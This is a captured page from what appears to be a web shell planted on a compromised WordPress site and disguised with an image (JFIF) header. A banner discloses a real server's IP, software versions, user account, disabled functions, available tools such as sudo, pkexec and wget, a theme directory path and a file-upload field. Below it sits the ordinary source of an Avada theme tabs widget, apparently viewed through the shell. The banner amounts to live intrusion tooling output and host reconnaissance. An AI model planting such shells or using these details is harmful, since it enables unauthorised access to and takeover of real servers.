????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.217 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.eu/wp-content/themes/Avada/includes/widget/ |
Upload File : |
<?php
// Do not allow directly accessing this file.
if ( ! defined( 'ABSPATH' ) ) {
exit( 'Direct script access denied.' );
}
/**
* Widget class.
*/
class Fusion_Widget_Tabs extends WP_Widget {
/**
* Constructor.
*
* @access public
*/
function __construct() {
$widget_ops = array( 'classname' => 'fusion-tabs-widget pyre_tabs', 'description' => 'Popular posts, recent post and comments.' );
$control_ops = array( 'id_base' => 'pyre_tabs-widget' );
parent::__construct( 'pyre_tabs-widget', 'Avada: Tabs', $widget_ops, $control_ops );
}
/**
* Echoes the widget content.
*
* @access public
* @param array $args Display arguments including 'before_title', 'after_title',
* 'before_widget', and 'after_widget'.
* @param array $instance The settings for the particular instance of the widget.
*/
function widget( $args, $instance ) {
global $post;
extract( $args );
$posts = isset( $instance['posts'] ) ? $instance['posts'] : 3;
$comments = isset( $instance['comments'] ) ? $instance['comments'] : '3';
$tags_count = isset( $instance['tags'] ) ? $instance['tags'] : 3;
$show_popular_posts = isset( $instance['show_popular_posts'] ) ? true : false;
$show_recent_posts = isset( $instance['show_recent_posts'] ) ? true : false;
$show_comments = isset( $instance['show_comments'] ) ? true : false;
$count_tabs = (int) $show_popular_posts + (int) $show_recent_posts + (int) $show_comments ;
if ( isset( $instance['orderby'] ) ) {
$orderby = $instance['orderby'];
} else {
$orderby = 'Highest Comments';
}
echo $before_widget;
?>
<div class="tab-holder tabs-widget tabs-widget-<?php echo $count_tabs; ?>">
<div class="tab-hold tabs-wrapper">
<ul id="tabs" class="tabset tabs">
<?php if ( $show_popular_posts ) : ?>
<li><a href="#tab-popular"><?php esc_attr_e( 'Popular', 'Avada' ); ?></a></li>
<?php endif; ?>
<?php if ( $show_recent_posts ) : ?>
<li><a href="#tab-recent"><?php esc_attr_e( 'Recent', 'Avada' ); ?></a></li>
<?php endif; ?>
<?php if ( $show_comments ) : ?>
<li><a href="#tab-comments"><span class="fusion-icon-bubbles"></span><span class="screen-reader-text"><?php esc_attr_e( 'Comments', 'Avada' ); ?></span></a></li>
<?php endif; ?>
</ul>
<div class="tab-box tabs-container">
<?php if ( $show_popular_posts ) : ?>
<div id="tab-popular" class="tab tab_content" style="display: none;">
<?php
if ( 'Highest Comments' == $orderby ) {
$order_string = '&orderby=comment_count';
} else {
$order_string = '&meta_key=avada_post_views_count&orderby=meta_value_num';
}
$popular_posts = avada_cached_query( 'showposts=' . $posts . $order_string . '&order=DESC&ignore_sticky_posts=1' );
?>
<ul class="news-list">
<?php if ( $popular_posts->have_posts() ) : ?>
<?php while ( $popular_posts->have_posts() ) : $popular_posts->the_post(); ?>
<li>
<?php if ( has_post_thumbnail() ) : ?>
<div class="image">
<a href="<?php the_permalink(); ?>"><?php the_post_thumbnail( 'recent-works-thumbnail' ); ?></a>
</div>
<?php endif; ?>
<div class="post-holder">
<a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
<div class="fusion-meta">
<?php the_time( Avada()->settings->get( 'date_format' ) ); ?>
</div>
</div>
</li>
<?php endwhile; ?>
<?php wp_reset_postdata(); ?>
<?php else : ?>
<li><?php esc_attr_e( 'No posts have been published yet.', 'Avada' ); ?></li>
<?php endif; ?>
</ul>
</div>
<?php endif; ?>
<?php if ( $show_recent_posts ) : ?>
<div id="tab-recent" class="tab tab_content" style="display: none;">
<?php $recent_posts = avada_cached_query( 'showposts=' . $tags_count . '&ignore_sticky_posts=1' ); ?>
<ul class="news-list">
<?php if ( $recent_posts->have_posts() ) : ?>
<?php while ( $recent_posts->have_posts() ) : $recent_posts->the_post(); ?>
<li>
<?php if ( has_post_thumbnail() ) : ?>
<div class="image">
<a href="<?php the_permalink(); ?>"><?php the_post_thumbnail( 'recent-works-thumbnail' ); ?></a>
</div>
<?php endif; ?>
<div class="post-holder">
<a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
<div class="fusion-meta">
<?php the_time( Avada()->settings->get( 'date_format' ) ); ?>
</div>
</div>
</li>
<?php endwhile; ?>
<?php wp_reset_postdata(); ?>
<?php else : ?>
<li><?php esc_attr_e( 'No posts have been published yet.', 'Avada' ); ?></li>
<?php endif; ?>
</ul>
</div>
<?php endif; ?>
<?php if ( $show_comments ) : ?>
<div id="tab-comments" class="tab tab_content" style="display: none;">
<ul class="news-list">
<?php
global $wpdb;
$number = $comments;
$recent_comments = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_author_email, comment_date_gmt, comment_approved, comment_type, comment_author_url, SUBSTRING(comment_content,1,110) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' ORDER BY comment_date_gmt DESC LIMIT $number";
$the_comments = $wpdb->get_results( $recent_comments );
?>
<?php if ( $the_comments ) : ?>
<?php foreach ( $the_comments as $comment ) : ?>
<li>
<div class="image">
<a><?php echo get_avatar( $comment, '52' ); ?></a>
</div>
<div class="post-holder">
<p><?php echo strip_tags( $comment->comment_author ); ?> <?php esc_attr_e( 'says:', 'Avada' ); ?></p>
<div class="fusion-meta">
<a class="comment-text-side" href="<?php echo get_permalink( $comment->ID ); ?>#comment-<?php echo $comment->comment_ID; ?>" title="<?php printf( esc_attr__( '%1$s on %2$s', 'Avada' ), strip_tags( $comment->comment_author ), $comment->post_title ); ?>"><?php echo wp_trim_words( strip_tags( $comment->com_excerpt ), 12 ); ?></a>
</div>
</div>
</li>
<?php endforeach; ?>
<?php else : ?>
<li><?php esc_attr_e( 'No comments have been published yet.', 'Avada' ); ?></li>
<?php endif; ?>
</ul>
</div>
<?php endif; ?>
</div>
</div>
</div>
<?php
echo $after_widget;
}
/**
* Updates a particular instance of a widget.
*
* This function should check that `$new_instance` is set correctly. The newly-calculated
* value of `$instance` should be returned. If false is returned, the instance won't be
* saved/updated.
*
* @access public
* @param array $new_instance New settings for this instance as input by the user via
* WP_Widget::form().
* @param array $old_instance Old settings for this instance.
* @return array Settings to save or bool false to cancel saving.
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['posts'] = $new_instance['posts'];
$instance['comments'] = $new_instance['comments'];
$instance['tags'] = $new_instance['tags'];
$instance['show_popular_posts'] = $new_instance['show_popular_posts'];
$instance['show_recent_posts'] = $new_instance['show_recent_posts'];
$instance['show_comments'] = $new_instance['show_comments'];
$instance['orderby'] = $new_instance['orderby'];
return $instance;
}
/**
* Outputs the settings update form.
*
* @access public
* @param array $instance Current settings.
*/
function form( $instance ) {
$defaults = array(
'posts' => 3,
'comments' => '3',
'tags' => 3,
'show_popular_posts' => 'on',
'show_recent_posts' => 'on',
'show_comments' => 'on',
'orderby' => esc_attr__( 'Highest Comments', 'Avada' ),
);
$instance = wp_parse_args( (array) $instance, $defaults ); ?>
<p>
<label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><?php esc_attr_e( 'Popular Posts Order By:', 'Avada' ); ?></label>
<select id="<?php echo $this->get_field_id( 'orderby' ); ?>" name="<?php echo $this->get_field_name( 'orderby' ); ?>" class="widefat" style="width:100%;">
<option <?php if ( esc_attr__( 'Highest Comments', 'Avada' ) == $instance['orderby'] ) { echo 'selected="selected"'; } ?>><?php esc_attr_e( 'Highest Comments', 'Avada' ); ?></option>
<option <?php if ( esc_attr__( 'Highest Views', 'Avada' ) == $instance['orderby'] ) { echo 'selected="selected"'; } ?>><?php esc_attr_e( 'Highest Views', 'Avada' ); ?></option>
</select>
</p>
<p>
<label for="<?php echo $this->get_field_id( 'posts' ); ?>"><?php esc_attr_e( 'Number of popular posts:', 'Avada' ); ?></label>
<input class="widefat" type="text" style="width: 30px;" id="<?php echo $this->get_field_id( 'posts' ); ?>" name="<?php echo $this->get_field_name( 'posts' ); ?>" value="<?php echo $instance['posts']; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id( 'tags' ); ?>"><?php esc_attr_e( 'Number of recent posts:', 'Avada' ); ?></label>
<input class="widefat" type="text" style="width: 30px;" id="<?php echo $this->get_field_id( 'tags' ); ?>" name="<?php echo $this->get_field_name( 'tags' ); ?>" value="<?php echo $instance['tags']; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id( 'comments' ); ?>"><?php esc_attr_e( 'Number of comments:', 'Avada' ); ?></label>
<input class="widefat" type="text" style="width: 30px;" id="<?php echo $this->get_field_id( 'comments' ); ?>" name="<?php echo $this->get_field_name( 'comments' ); ?>" value="<?php echo $instance['comments']; ?>" />
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked( $instance['show_popular_posts'], 'on' ); ?> id="<?php echo $this->get_field_id( 'show_popular_posts' ); ?>" name="<?php echo $this->get_field_name( 'show_popular_posts' ); ?>" />
<label for="<?php echo $this->get_field_id( 'show_popular_posts' ); ?>"><?php esc_attr_e( 'Show popular posts', 'Avada' ); ?></label>
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked( $instance['show_recent_posts'], 'on' ); ?> id="<?php echo $this->get_field_id( 'show_recent_posts' ); ?>" name="<?php echo $this->get_field_name( 'show_recent_posts' ); ?>" />
<label for="<?php echo $this->get_field_id( 'show_recent_posts' ); ?>"><?php esc_attr_e( 'Show recent posts', 'Avada' ); ?></label>
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked( $instance['show_comments'], 'on' ); ?> id="<?php echo $this->get_field_id( 'show_comments' ); ?>" name="<?php echo $this->get_field_name( 'show_comments' ); ?>" />
<label for="<?php echo $this->get_field_id( 'show_comments' ); ?>"><?php esc_attr_e( 'Show comments', 'Avada' ); ?></label>
</p>
<?php
}
}
/* Omit closing PHP tag to avoid "Headers already sent" issues. */